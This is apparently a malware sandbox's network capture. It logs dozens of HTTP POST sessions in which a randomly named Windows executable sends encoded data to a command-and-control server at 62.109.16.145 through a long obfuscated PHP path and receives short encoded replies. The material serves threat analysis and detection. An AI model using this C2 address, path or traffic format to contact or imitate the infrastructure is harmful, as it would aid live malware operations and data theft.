Jan 9, 2025 04:12:41.952109098 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:42.345360994 CET	1048	OUT	Data Raw: 5a 52 59 5e 5f 55 58 5c 55 56 55 5a 56 50 55 55 56 51 5a 5f 55 51 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZRY^_UX\UVUZVPUUVQZ_UQS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'7+_32.('["%]=&)+3Y% ?78(? \%#Y)
Jan 9, 2025 04:12:42.631453991 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:42.761060953 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49779	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:42.890582085 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:43.247268915 CET	1048	OUT	Data Raw: 5f 56 59 59 5a 58 58 5f 55 56 55 5a 56 5d 55 5c 56 57 5a 5a 55 53 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VYYZXX_UVUZV]U\VWZZUSS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&09[7=[&2"(=< 0=89&9<(%,>40*/ \%#Y)0
Jan 9, 2025 04:12:43.589945078 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:43.719338894 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49780	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:43.784698009 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1740 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49781	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:43.840679884 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:44.184820890 CET	1048	OUT	Data Raw: 5a 52 5c 5e 5f 5c 5d 5c 55 56 55 5a 56 59 55 51 56 53 5a 59 55 53 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZR\^_\]\UVUZVYUQVSZYUSS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%9/X ;-_'!2]?/X#C/*&&9W+0#&<?',X+ \%#Y)
Jan 9, 2025 04:12:44.527637959 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:44.660531998 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49782	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:44.818310976 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:45.171261072 CET	1048	OUT	Data Raw: 5a 5b 59 5d 5a 5b 58 5f 55 56 55 5a 56 50 55 5d 56 50 5a 5c 55 52 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[Y]Z[X_UVUZVPU]VPZ\URS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3?Y4"$:(><75;[*+&+#8%,8X);< \%#Y)
Jan 9, 2025 04:12:45.514434099 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:45.645337105 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49783	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:45.766170979 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:46.122203112 CET	1048	OUT	Data Raw: 5f 50 59 50 5a 58 58 5e 55 56 55 5a 56 51 55 5c 56 57 5a 5f 55 52 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PYPZXX^UVUZVQU\VWZ_URS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&[')7+]'!"\+7 &$>;52!W?38$? >8[? \%#Y)
Jan 9, 2025 04:12:46.482194901 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:46.613732100 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49784	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:46.741019011 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:47.091020107 CET	1048	OUT	Data Raw: 5a 55 59 59 5f 5e 58 58 55 56 55 5a 56 59 55 5c 56 54 5a 5c 55 56 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZUYY_^XXUVUZVYU\VTZ\UVSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&004'-<-<40)(&%9Q(#1?=7 ^*/ \%#Y)
Jan 9, 2025 04:12:47.430869102 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:47.561638117 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49785	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:47.684854984 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:48.055495024 CET	1048	OUT	Data Raw: 5a 56 5c 5b 5a 5b 58 5f 55 56 55 5a 56 5e 55 5c 56 52 5a 5c 55 5c 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZV\[Z[X_UVUZV^U\VRZ\U\SWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'#)Z$-)=7]7%>911? '^1/_) _(? \%#Y)<
Jan 9, 2025 04:12:48.364442110 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:48.497597933 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49786	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:48.623883963 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49787	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:48.850240946 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:49.200395107 CET	1764	OUT	Data Raw: 5f 55 59 58 5f 5c 5d 5d 55 56 55 5a 56 51 55 56 56 5c 5a 58 55 57 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UYX_\]]UVUZVQUVV\ZXUWSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&$_,7&32(-< C3Z*;5'9!P</%0^='$[+? \%#Y)
Jan 9, 2025 04:12:49.561222076 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:49.693418026 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 04 21 17 3e 59 28 32 20 02 28 05 23 1c 3c 31 0a 5b 28 30 07 5b 2a 04 2a 5d 2a 03 0a 0e 3c 2b 22 16 26 22 26 54 23 2e 00 11 36 0a 2e 59 0c 1d 39 5d 3d 02 25 09 26 1d 2c 00 28 33 29 00 35 57 3b 5b 24 10 0f 0d 24 38 24 56 28 0c 3f 0d 3d 08 2c 0b 2d 06 26 19 24 0d 3a 19 32 3e 21 5e 02 14 23 5a 3d 04 23 53 3e 37 23 5c 32 21 32 54 37 2d 3a 1d 23 2b 34 0f 22 28 0c 5e 3d 08 3a 5c 20 21 2f 01 26 30 25 09 21 21 3d 1d 2a 33 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: !>Y(2 (#<1[(0[*]<+"&"&T#.6.Y9]=%&,(3)5W;[$$8$V(?=,-&$:2>!^#Z=#S>7#\2!2T7-:#+4"(^=:\ !/&0%!!=*3/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49788	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:48.970244884 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:49.325421095 CET	1048	OUT	Data Raw: 5a 51 5c 59 5a 59 58 50 55 56 55 5a 56 5c 55 53 56 5d 5a 58 55 55 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQ\YZYXPUVUZV\USV]ZXUUSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&393Y"+9]0:\(#X7& (+X%%W<?2? Y?$<[<? \%#Y)4
Jan 9, 2025 04:12:49.669239044 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:49.804510117 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49789	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:49.935091019 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:50.294101000 CET	1048	OUT	Data Raw: 5a 55 5c 59 5f 5c 58 5c 55 56 55 5a 56 51 55 52 56 54 5a 5a 55 53 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZU\Y_\X\UVUZVQURVTZZUSSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&')0 2'.Z<.( (>Y'*1+U,&Y3)4'(? \%#Y)
Jan 9, 2025 04:12:50.663074970 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:50.797485113 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49790	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:50.925128937 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:51.278549910 CET	1048	OUT	Data Raw: 5a 5b 5c 5c 5f 59 58 5c 55 56 55 5a 56 5f 55 5d 56 5c 5a 58 55 5d 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[\\_YX\UVUZV_U]V\ZXU]S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$/Y#8=$?=?"6?\(;:%):(# &Y,>'[*? \%#Y)
Jan 9, 2025 04:12:51.634730101 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:51.765783072 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49791	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:51.897738934 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:52.247329950 CET	1048	OUT	Data Raw: 5f 51 59 58 5f 54 58 5b 55 56 55 5a 56 5a 55 52 56 52 5a 5c 55 55 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QYX_TX[UVUZVZURVRZ\UUS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3904^$=)=,#<>X%_9+3?$? ?'*? \%#Y),
Jan 9, 2025 04:12:52.617767096 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:52.756254911 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49792	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:52.877939939 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:53.231652021 CET	1048	OUT	Data Raw: 5a 57 5c 5d 5f 5e 5d 5a 55 56 55 5a 56 5f 55 57 56 52 5a 5d 55 53 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZW\]_^]ZUVUZV_UWVRZ]USS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&%) 89Z$1-+>$4&#Z=(91_!W(32<0?'<[<? \%#Y)
Jan 9, 2025 04:12:53.559730053 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:53.694247961 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
